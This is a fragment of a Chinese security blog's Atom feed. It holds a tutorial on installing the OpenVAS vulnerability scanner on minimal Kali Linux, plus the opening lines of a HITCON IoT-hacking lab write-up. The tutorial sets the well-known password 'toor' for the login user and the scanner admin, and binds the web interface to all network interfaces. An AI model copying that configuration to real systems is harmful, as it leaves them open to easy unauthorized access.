 &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/8228268941043674236/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/02/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8228268941043674236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8228268941043674236'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/02/blog-post.html' title='分享「破解密碼」的經驗'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oF-pradjOdrHJ555L0FCGbh9wPsKeDlRqnq0476gzcac2t6-U9D19ihwj3PEzrV8Oiw3NvphDWhMf-yW8VQqk1ijbc6csqZRqMfzPnUKzcouC8VT96cfgw4C5aRo0xJb6T-SH0KSzkf7/s72-w400-h206-c/stock_01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-7194853948552141710</id><published>2020-11-15T16:58:00.005+08:00</published><updated>2023-03-11T09:16:27.017+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenVAS"/><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>在Kali 2020.3 精簡環境安裝OpenVAS</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(0, 0, 204); font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;對於滲透測試人員，&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;Nessus&lt;/b&gt;&lt;/span&gt;及&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;OpenVAS&lt;/b&gt;&lt;/span&gt;是兩套很實用(又免費)的弱掃工具，為了避免影響執行效能，筆者習慣將它們獨立安裝，這兩套工具都是使用瀏覽器作為使用者界面，獨立安裝的環境就不需要保留X-WINDOW視窗，可以讓資源充分供弱掃工具使用。&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;筆者著作「&lt;a href=&quot;https://www.tenlong.com.tw/products/9789865023584?list_name=b-r30-zh_tw&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Kali Linux 滲透測試工具&lt;/b&gt;&lt;/a&gt;」雖然也有介紹OpenVAS的安裝方式，但隨著工具改版，現在OpenVAS的安裝又不一樣了，在此做個補充。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #274e13; font-size: large;&quot;&gt;&lt;b&gt;一、安裝Kali精簡環境&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: black; color: #fbcf08; margin-top: -16px;&quot;&gt;
&lt;ol&gt;&lt;li&gt;到&lt;a href=&quot;https://www.kali.org/&quot; style=&quot;color: white;&quot; target=&quot;_blank&quot;&gt; kali.org&lt;/a&gt; 下載「Kali Linux 64-Bit (NetInstaller)」。&lt;/li&gt;&lt;li&gt;建立一部虛擬機，安裝方式請選擇「&lt;span style=&quot;color: white;&quot;&gt;Install disk image file(iso)&lt;/span&gt;」，並以前一步驟下載的「kali-linux-2020.3-installer-netinst-amd64.iso」作為iso來源。&lt;/li&gt;&lt;li&gt;作業系統類型請選擇「&lt;span style=&quot;color: white;&quot;&gt;Linux／Debian-9.x 64 bit&lt;/span&gt;」；並將磁碟空間設為100GB。&lt;/li&gt;&lt;li&gt;啟動此虛擬機，進入作業系統安裝程序，按照畫面指示安裝，為避名預設主機名稱發生衝突，請指定合 
	適的Hostname，筆者是使用OPENVAS2020。&lt;/li&gt;&lt;li&gt;Kali預設&lt;span style=&quot;color: #ea9999;&quot;&gt;&lt;b&gt;不再提供root權限&lt;/b&gt;&lt;/span&gt;，安裝過程必須指定使用者帳號，筆者選用openvas作為使用者，密碼就設為toor&lt;/li&gt;&lt;li&gt;在選擇欲安裝的軟體時，請&lt;span style=&quot;color: #ea9999;&quot;&gt;取消Desktop environment及top10&lt;/span&gt;(如下圖)，只需要留下精簡環境所需的工具即可。
  &lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiROMJy6QWn4DbAp4XWlbEEngTEWcbcRmGp0reuNCHCdHZixHBxAq71fSJmRvJFqkUUmOx2KL5Hn0Wet5f9ILlC7JPLrKVP3RE5mJRVloQkY0tyxozYrmd92J7-hIw-7kRxA6OnIyDebrlo/s767/openvas-01.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;363&quot; data-original-width=&quot;767&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiROMJy6QWn4DbAp4XWlbEEngTEWcbcRmGp0reuNCHCdHZixHBxAq71fSJmRvJFqkUUmOx2KL5Hn0Wet5f9ILlC7JPLrKVP3RE5mJRVloQkY0tyxozYrmd92J7-hIw-7kRxA6OnIyDebrlo/s400/openvas-01.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;過程中可能出現軟體安裝失敗(如下圖)，按照畫面說明，直接按「&lt;span style=&quot;color: white;&quot;&gt;Enter&lt;/span&gt;」，在下一個畫面，手動選擇「&lt;span style=&quot;color: white;&quot;&gt;Install the GRUB boot 
	loader&lt;/span&gt;」，略過軟體安裝步驟！
    &lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZesTAHLTcsBc9fzKA5rRlYGbjKM1vKLPUylQtSehSNAYMg3Jvt4SkeUJck-kQHMJTGiQaEcvYiqMOf6-woKJqq9FBvyCBMJ8qUKDw1CqDz7qo-1L63VvHaAYae30zUtv2XDfzoqAu9Mx/s778/openvas-02.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;219&quot; data-original-width=&quot;778&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZesTAHLTcsBc9fzKA5rRlYGbjKM1vKLPUylQtSehSNAYMg3Jvt4SkeUJck-kQHMJTGiQaEcvYiqMOf6-woKJqq9FBvyCBMJ8qUKDw1CqDz7qo-1L63VvHaAYae30zUtv2XDfzoqAu9Mx/s400/openvas-02.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;安裝完成後會自動重開機！然後進入命令列介面。請以步驟5. 所設的帳號及密碼登入，記住，此帳號不具root權限，很多指令都必須用&lt;span style=&quot;color: #ea9999;&quot;&gt;&lt;b&gt;sudo&lt;/b&gt;&lt;/span&gt;引導！&lt;/li&gt;&lt;/ol&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span style=&quot;color: #274e13; font-size: large;&quot;&gt;&lt;b&gt;二、請依下列更新Kali及安裝必要工具&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: black; color: #fbcf08; margin-top: -16px;&quot;&gt;
&lt;ol&gt;
  &lt;li&gt;sudo apt update &amp;amp;&amp;amp; apt upgrade -y&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;#更新作業系統環境(每隔幾天就做一次吧)&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo apt install locate curl wget&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
	&lt;span style=&quot;color: #04ff00;&quot;&gt;#安裝必要工具&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo apt install gvm*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;span style=&quot;color: #04ff00;&quot;&gt;	#安裝OpenVAS&lt;/span&gt;&lt;/li&gt;&lt;li&gt;sudo service --status-all&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;span style=&quot;color: #04ff00;&quot;&gt;	#檢查 postgresql、redis-server 及 gvmd 是否有啟動，如果沒有啟動，請手工啟動&lt;/span&gt;&lt;br /&gt;
  &lt;div style=&quot;border: 2px solid white; padding: 4px;&quot;&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiVfLHTxJqvFXZpqNZWqwUisLJkjXJkfAiEoWrVUv3L4EEYnSAiix3Veahs5XW5oJ5aVXUf40Ig4okYNJfJR6UqjYNJZpNZQLiytApcQz7oV_YFFvRuYAlUj7z1mZ1GFTn1BgvENpBmIbl/s412/openvas-03.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;412&quot; data-original-width=&quot;405&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiVfLHTxJqvFXZpqNZWqwUisLJkjXJkfAiEoWrVUv3L4EEYnSAiix3Veahs5XW5oJ5aVXUf40Ig4okYNJfJR6UqjYNJZpNZQLiytApcQz7oV_YFFvRuYAlUj7z1mZ1GFTn1BgvENpBmIbl/s320/openvas-03.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
  &lt;li&gt;sudo service redis-server start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;
	#手動啟動 redis-server，若出現錯誤訊息，請參考本篇底下的「備註」&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;sudo update-rc.d redis-server enable&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;#若能啟動 redis-server，就將它設為開機時自動啟動&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;sudo service postgresql start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;#啟動 postgresql&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;sudo update-rc.d postgresql enable&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;#將 postgresql 設定自動啟動&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;sudo reboot&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;	#重新啟動作業系統&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;不要使用 su - 切換到root身分&lt;/span&gt;，不然執行「&lt;span style=&quot;color: white;&quot;&gt;gvm-setup&lt;/span&gt;」會出現&lt;br /&gt;
	「&lt;span style=&quot;color: #ea9999;&quot;&gt;could not change directory to /root permission denied&lt;/span&gt;」的錯誤訊息 &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo gvm-setup&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;	&lt;span style=&quot;color: #04ff00;&quot;&gt;#執行OpenVAS設定(會花很長時間)&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo gvm-check-setup&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;
	#執行OpenVAS檢查，看看缺少什麼東西&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;注意錯誤訊息(&lt;span style=&quot;color: red;&quot;&gt;FIX:&lt;/span&gt; 開頭)，並按照提示修正，直到「&lt;span style=&quot;color: white;&quot;&gt;sudo gvm-check-setup&lt;/span&gt;」的結果沒有需要「FIX:」的項目。&lt;/span&gt;
    &lt;div style=&quot;border: 2px solid white; padding: 4px;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2GPnM2MuHuRBRABCdy8_gKCV1Ap_I2y7PjFqdydm1QrnuqxN8EWflREslrEg-0JqHyoBLzgNAMSz1fVJJC20TwwKLQ6_t82kWaoksKAweLYDwAcFwXIg5q0mCd5OO_rYbAyAqYCUWggVA/s884/openvas-05.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;643&quot; data-original-width=&quot;884&quot; height=&quot;291&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2GPnM2MuHuRBRABCdy8_gKCV1Ap_I2y7PjFqdydm1QrnuqxN8EWflREslrEg-0JqHyoBLzgNAMSz1fVJJC20TwwKLQ6_t82kWaoksKAweLYDwAcFwXIg5q0mCd5OO_rYbAyAqYCUWggVA/w400-h291/openvas-05.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;sudo service --status-all&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;span style=&quot;color: #04ff00;&quot;&gt;	#再次檢查 postgresql、redis-server 及 gvmd 是否有啟動&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo service gvmd start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;
    #手動啟動 gvmd&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo update-rc.d gvmd enable&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style=&quot;color: #04ff00;&quot;&gt;#將 postgresql 設定自動啟動&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;sudo gvm-start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;
	#正式啟動 OpenVAS伺服器，如果有錯誤訊息，請修正&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;
&lt;/div&gt;
  &lt;p&gt;&lt;span style=&quot;color: #274e13; font-size: large;&quot;&gt;&lt;b&gt;三、從外部電腦操作OpenVAS伺服器&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;
由於OpenVAS預設只能從本機連線，但我們是安裝在精簡型Kali，本身沒有瀏覽器，必須想辦法讓外部的電腦可以連線這部OpenVAS伺服器&lt;/p&gt;
&lt;div style=&quot;background-color: black; color: #fbcf08;&quot;&gt;
&lt;ol&gt;&lt;li&gt;sudo sudo nano /lib/systemd/system/greenbone-security-assistant.service&amp;nbsp;&lt;br /&gt;修改gsad的接聽範圍，請將「&lt;span style=&quot;color: white;&quot;&gt;ExecStart=/usr/sbin/gsad --listen=&lt;span style=&quot;color: #01ffff;&quot;&gt;&lt;b&gt;127.0.0.1 &lt;/b&gt;&lt;/span&gt;
	--port=9392&lt;/span&gt;」&lt;br /&gt;改成「&lt;span style=&quot;color: white;&quot;&gt;ExecStart=/usr/sbin/gsad --listen=&lt;span style=&quot;color: #01ffff;&quot;&gt;&lt;b&gt;0.0.0.0&lt;/b&gt;&lt;/span&gt; 
	--port=9392&lt;/span&gt;」，表示接聽所有網卡的請求
  &lt;div style=&quot;border: 2px solid white; padding: 4px;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMuuNz8cmGxwf128JgLC9ISYyeg5PSUNZSav51M2L7coHIRHBZUg-vmEyyUOQRjigPjWNA47b6e-QjaRKzn5DkcW5kE309AHWDblin0jgiP8EeIJnPN3i90GyKQ-R9dZaIaWiXmeePS-KD/s851/openvas-07.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;632&quot; data-original-width=&quot;851&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMuuNz8cmGxwf128JgLC9ISYyeg5PSUNZSav51M2L7coHIRHBZUg-vmEyyUOQRjigPjWNA47b6e-QjaRKzn5DkcW5kE309AHWDblin0jgiP8EeIJnPN3i90GyKQ-R9dZaIaWiXmeePS-KD/s400/openvas-07.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;存檔後，重新啟動虛擬機&lt;/li&gt;&lt;li&gt;重新進入虛擬機後，請執行「&lt;span style=&quot;color: white;&quot;&gt;sudo gvm-start&lt;/span&gt;」啟動服務&lt;/li&gt;&lt;li&gt;利用外部電腦的瀏覽器連線，終於連上了，但是~~~帳號和密碼呢？
  &lt;div style=&quot;border: 2px solid white; padding: 4px;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFyHuc0che474dfNy9q_n2re0BE6Lf4fvgA0qvAMH72cSmpj_vQokRncEqz3OqOWpfLEXAtVtPhFDGuVinSD86qi7ylTqcRochG2JXylTGxgGOJCC0y0W983_dZYSWIojQx9FBezMRfz8D/s946/openvas-09.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;621&quot; data-original-width=&quot;946&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFyHuc0che474dfNy9q_n2re0BE6Lf4fvgA0qvAMH72cSmpj_vQokRncEqz3OqOWpfLEXAtVtPhFDGuVinSD86qi7ylTqcRochG2JXylTGxgGOJCC0y0W983_dZYSWIojQx9FBezMRfz8D/s400/openvas-09.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;/li&gt;&lt;/ol&gt;
&lt;/div&gt;
  &lt;p&gt;&lt;span style=&quot;color: #274e13; font-size: large;&quot;&gt;&lt;b&gt;四、帳號和密碼呢？&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 2em;&quot;&gt;在安裝過程中都沒有注意到OpenVAS的帳密，這下怎麼辦？別急，再回到OpenVAS伺服器，使用下列命令重設「admin」的密碼&lt;br /&gt;
&lt;span style=&quot;background-color: black; color: #ffa400; padding: 4px 2em;&quot;&gt;sudo runuser -u _gvm -- gvmd --user=admin --new-password=toor &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 2em;&quot;&gt;如果要增加其他使用者，可以執行下列命令：&lt;br /&gt;
&lt;span style=&quot;background-color: black; color: #ffa400; padding: 4px 2em;&quot;&gt;sudo runuser -u _gvm -- gvmd --create-user=&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;lt;新帳號&amp;gt;&lt;/span&gt; --password=&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;lt;設定密碼&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #990000; font-size: large;&quot;&gt;&lt;b&gt;重新使用「admin / toor」登入OpenVAS，成功！&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
  &lt;hr style=&quot;color: #29fb08; height: 2px;&quot; /&gt;
  &lt;p&gt;&lt;span style=&quot;color: #274e13; font-size: large;&quot;&gt;&lt;b&gt;備註：&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;若啟動 redis-server 時，若出現「&lt;span style=&quot;color: red;&quot;&gt;redis-server is not running or not listening on 
socket: /var/run/redis-openvas/redis-server.sock&lt;/span&gt;」的錯誤訊息，處理方式如下：&lt;/p&gt;
  &lt;div style=&quot;background-color: black; color: #fbcf08;&quot;&gt;
&lt;ol&gt;&lt;li&gt;sudo nano /etc/redis/redis.conf&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #04ff00;&quot;&gt; #編輯 redis.conf&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;搜尋「&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;unixsocket&lt;/b&gt;&lt;/span&gt;」文字，應該會找到下列兩列文字：&lt;br /&gt;
# unixsocket /var/run/redis/redis.sock &lt;br /&gt;
# unixsocketperm 700
  &lt;/li&gt;
&lt;li&gt;只要將註解符號刪除，然後存檔，再重新啟動OpenVAS伺服器即可
  &lt;div style=&quot;border: 2px solid white; padding: 4px;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga5-KbQxj73kjFooRe1GtbT8Mjio6KSEG6yWhvDrYDLq8WfrLPBfZLeR5Ww3PSmaOET8ZN6GKy8LfIyIWE1dNGaPz0-jyTjZmMdidMKqPQMj1b1DpsCdqtigaomMQiBQz-qP-Ju5Lf7OsC/s803/openvas-10.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;622&quot; data-original-width=&quot;803&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga5-KbQxj73kjFooRe1GtbT8Mjio6KSEG6yWhvDrYDLq8WfrLPBfZLeR5Ww3PSmaOET8ZN6GKy8LfIyIWE1dNGaPz0-jyTjZmMdidMKqPQMj1b1DpsCdqtigaomMQiBQz-qP-Ju5Lf7OsC/s400/openvas-10.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;/li&gt;
  &lt;/ol&gt;
  &lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/7194853948552141710/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/11/kali-20203-openvas.html#comment-form' title='24 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7194853948552141710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7194853948552141710'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/11/kali-20203-openvas.html' title='在Kali 2020.3 精簡環境安裝OpenVAS'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiROMJy6QWn4DbAp4XWlbEEngTEWcbcRmGp0reuNCHCdHZixHBxAq71fSJmRvJFqkUUmOx2KL5Hn0Wet5f9ILlC7JPLrKVP3RE5mJRVloQkY0tyxozYrmd92J7-hIw-7kRxA6OnIyDebrlo/s72-c/openvas-01.PNG" height="72" width="72"/><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-1384194482970675408</id><published>2020-11-07T12:19:00.003+08:00</published><updated>2020-11-07T12:22:05.517+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IoT"/><category scheme="http://www.blogger.com/atom/ns#" term="網頁設計"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>HITCON 2020  { IoT Hacking 101 }議程之 LV2題目的另類解法</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(0, 0, 204); font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;p style=&quot;line-height: 150%; text-indent: 2em; word-spacing: 2px;&quot;&gt;今年的Hitcon 
2020第一天&lt;b&gt;Jimmy Liu&lt;/b&gt;老師主講「&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;IoT Hacking 
101&lt;/span&gt;&lt;/b&gt;」，主要是實作基礎的物聯網設備滲透測試！有關上課素材可從「&lt;a href=&quot;https://github.com/DrmnSamoLiu/Hitcon-iot101&quot;&gt;https://github.com/DrmnSamoLiu/Hitcon-iot101&lt;/a&gt;」下載，上課簡報請參考素材包裡的DVIPcam_hitcon.pdf，在此假設您已事先閱讀並瞭此份簡報的內容。&lt;/p&gt;
&lt;p&gt;參加此議題的同事於會後分享學習心得，而筆者事後練習時，又發現LV2(簡報22頁)有另一條啟用Telnet及FTP服務的途徑，借此做個筆記。&lt;/p&gt;
